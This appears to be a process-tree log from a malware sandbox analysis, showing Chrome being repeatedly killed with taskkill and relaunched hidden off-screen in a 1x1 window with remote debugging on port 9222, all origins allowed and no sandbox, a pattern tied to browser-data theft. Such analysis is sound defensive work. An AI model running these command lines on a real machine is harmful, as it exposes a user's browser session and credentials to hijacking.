C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2120,i,7358478775533305874,13658659393705813733,524288 --field-trial-handle=2024,i,15927376480849760322,12680935333030766606,262144 --variations-seed-version --mojo-platform-channel-handle=2424 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2876,i,17372288936742627881,16753885519673172037,2097152 --field-trial-handle=2024,i,15927376480849760322,12680935333030766606,262144 --variations-seed-version --mojo-platform-channel-handle=2944 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2880,i,15846895974299551902,4749288544645512704,2097152 --field-trial-handle=2024,i,15927376480849760322,12680935333030766606,262144 --variations-seed-version --mojo-platform-channel-handle=2948 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4208,i,13691667512225060590,2532788159474842208,524288 --field-trial-handle=2024,i,15927376480849760322,12680935333030766606,262144 --variations-seed-version --mojo-platform-channel-handle=4220 /prefetch:145⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffb41f3c728,0x7ffb41f3c734,0x7ffb41f3c7405⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffb41f3c728,0x7ffb41f3c734,0x7ffb41f3c7405⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1596,i,17173380909368404967,3154391162149799331,262144 --field-trial-handle=2040,i,1267707499020345178,5376250585255548466,262144 --variations-seed-version --mojo-platform-channel-handle=2036 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=es --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1680,i,7425393823042630752,12179338916944501939,524288 --field-trial-handle=2040,i,1267707499020345178,5376250585255548466,262144 --variations-seed-version --mojo-platform-channel-handle=2408 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2112,i,15753333382834395562,13698979762873181939,524288 --field-trial-handle=2040,i,1267707499020345178,5376250585255548466,262144 --variations-seed-version --mojo-platform-channel-handle=2600 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2896,i,5209172709691892827,11796494084274042699,2097152 --field-trial-handle=2040,i,1267707499020345178,5376250585255548466,262144 --variations-seed-version --mojo-platform-channel-handle=2964 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2900,i,1356105959226172915,1247360164795998967,2097152 --field-trial-handle=2040,i,1267707499020345178,5376250585255548466,262144 --variations-seed-version --mojo-platform-channel-handle=2968 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4184,i,16591672573871893533,12898457769254373801,524288 --field-trial-handle=2040,i,1267707499020345178,5376250585255548466,262144 --variations-seed-version --mojo-platform-channel-handle=4196 /prefetch:145⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffb41f3c728,0x7ffb41f3c734,0x7ffb41f3c7405⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x100,0x134,0x7ffb41f3c728,0x7ffb41f3c734,0x7ffb41f3c7405⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1596,i,11644759224957377959,16370067887541395489,262144 --field-trial-handle=1984,i,18287131576587689376,13575662272479982723,262144 --variations-seed-version --mojo-platform-channel-handle=1980 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=es --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1840,i,9758224670063420703,17890356656729692442,524288 --field-trial-handle=1984,i,18287131576587689376,13575662272479982723,262144 --variations-seed-version --mojo-platform-channel-handle=2448 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2092,i,5552241594763875471,2241354253348977662,524288 --field-trial-handle=1984,i,18287131576587689376,13575662272479982723,262144 --variations-seed-version --mojo-platform-channel-handle=2516 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2904,i,7933058330628105657,17123206155315299399,2097152 --field-trial-handle=1984,i,18287131576587689376,13575662272479982723,262144 --variations-seed-version --mojo-platform-channel-handle=2936 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2908,i,7994139791719436435,11280755490608243812,2097152 --field-trial-handle=1984,i,18287131576587689376,13575662272479982723,262144 --variations-seed-version --mojo-platform-channel-handle=2972 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4188,i,6743026068734223425,9316461492291336059,524288 --field-trial-handle=1984,i,18287131576587689376,13575662272479982723,262144 --variations-seed-version --mojo-platform-channel-handle=4200 /prefetch:145⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffb41f3c728,0x7ffb41f3c734,0x7ffb41f3c7405⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1596,i,16008930925239225305,6537339564368565933,262144 --field-trial-handle=2352,i,15907978981700937523,10778539390616226055,262144 --variations-seed-version --mojo-platform-channel-handle=2348 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=es --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1440,i,18241829758749424708,5971562262385289863,524288 --field-trial-handle=2352,i,15907978981700937523,10778539390616226055,262144 --variations-seed-version --mojo-platform-channel-handle=2364 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=es --service-sandbox-type=service --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1920,i,12797319638191594516,18323965576996970063,524288 --field-trial-handle=2352,i,15907978981700937523,10778539390616226055,262144 --variations-seed-version --mojo-platform-channel-handle=2400 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2908,i,3649688481559459947,14413529424216880798,2097152 --field-trial-handle=2352,i,15907978981700937523,10778539390616226055,262144 --variations-seed-version --mojo-platform-channel-handle=2944 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2912,i,9333688878224109926,6526988081156848337,2097152 --field-trial-handle=2352,i,15907978981700937523,10778539390616226055,262144 --variations-seed-version --mojo-platform-channel-handle=2952 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4212,i,10399064002999744671,6323552034057314890,524288 --field-trial-handle=2352,i,15907978981700937523,10778539390616226055,262144 --variations-seed-version --mojo-platform-channel-handle=4228 /prefetch:145⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffb41f3c728,0x7ffb41f3c734,0x7ffb41f3c7405⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffb41f3c728,0x7ffb41f3c734,0x7ffb41f3c7405⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1596,i,1914417664058088084,8126246774695241111,262144 --field-trial-handle=2412,i,12532018001367764962,10870833158357140977,262144 --variations-seed-version --mojo-platform-channel-handle=2408 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=es --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1852,i,9669466992172159250,8945420747317487216,524288 --field-trial-handle=2412,i,12532018001367764962,10870833158357140977,262144 --variations-seed-version --mojo-platform-channel-handle=2268 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=1996,i,1441917929970661405,8235087943284012528,524288 --field-trial-handle=2412,i,12532018001367764962,10870833158357140977,262144 --variations-seed-version --mojo-platform-channel-handle=2520 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2868,i,2521002930610732547,6736250765516931856,2097152 --field-trial-handle=2412,i,12532018001367764962,10870833158357140977,262144 --variations-seed-version --mojo-platform-channel-handle=2920 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2872,i,15967024490647150380,6214075715812916917,2097152 --field-trial-handle=2412,i,12532018001367764962,10870833158357140977,262144 --variations-seed-version --mojo-platform-channel-handle=2924 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4140,i,12704368852267226392,4562570521339979448,524288 --field-trial-handle=2412,i,12532018001367764962,10870833158357140977,262144 --variations-seed-version --mojo-platform-channel-handle=4152 /prefetch:145⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x9c,0x130,0x7ffb41f3c728,0x7ffb41f3c734,0x7ffb41f3c7405⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x5c,0x130,0x7ffb41f3c728,0x7ffb41f3c734,0x7ffb41f3c7405⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1588,i,15337268560378534384,8193163287716049429,262144 --field-trial-handle=2304,i,17362845991451008771,11828616798557461159,262144 --variations-seed-version --mojo-platform-channel-handle=2300 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=es --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1844,i,17334769177369796187,4492518977826069615,524288 --field-trial-handle=2304,i,17362845991451008771,11828616798557461159,262144 --variations-seed-version --mojo-platform-channel-handle=2312 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=es --service-sandbox-type=service --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1928,i,17619901376621700877,9257505234952155079,524288 --field-trial-handle=2304,i,17362845991451008771,11828616798557461159,262144 --variations-seed-version --mojo-platform-channel-handle=2328 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2908,i,7920129870872435151,14830867301308151199,2097152 --field-trial-handle=2304,i,17362845991451008771,11828616798557461159,262144 --variations-seed-version --mojo-platform-channel-handle=2928 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2920,i,1662957754261870929,18070176565020786142,2097152 --field-trial-handle=2304,i,17362845991451008771,11828616798557461159,262144 --variations-seed-version --mojo-platform-channel-handle=2948 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4200,i,467870456308849878,10301752516478530845,524288 --field-trial-handle=2304,i,17362845991451008771,11828616798557461159,262144 --variations-seed-version --mojo-platform-channel-handle=4212 /prefetch:145⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffb41f3c728,0x7ffb41f3c734,0x7ffb41f3c7405⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
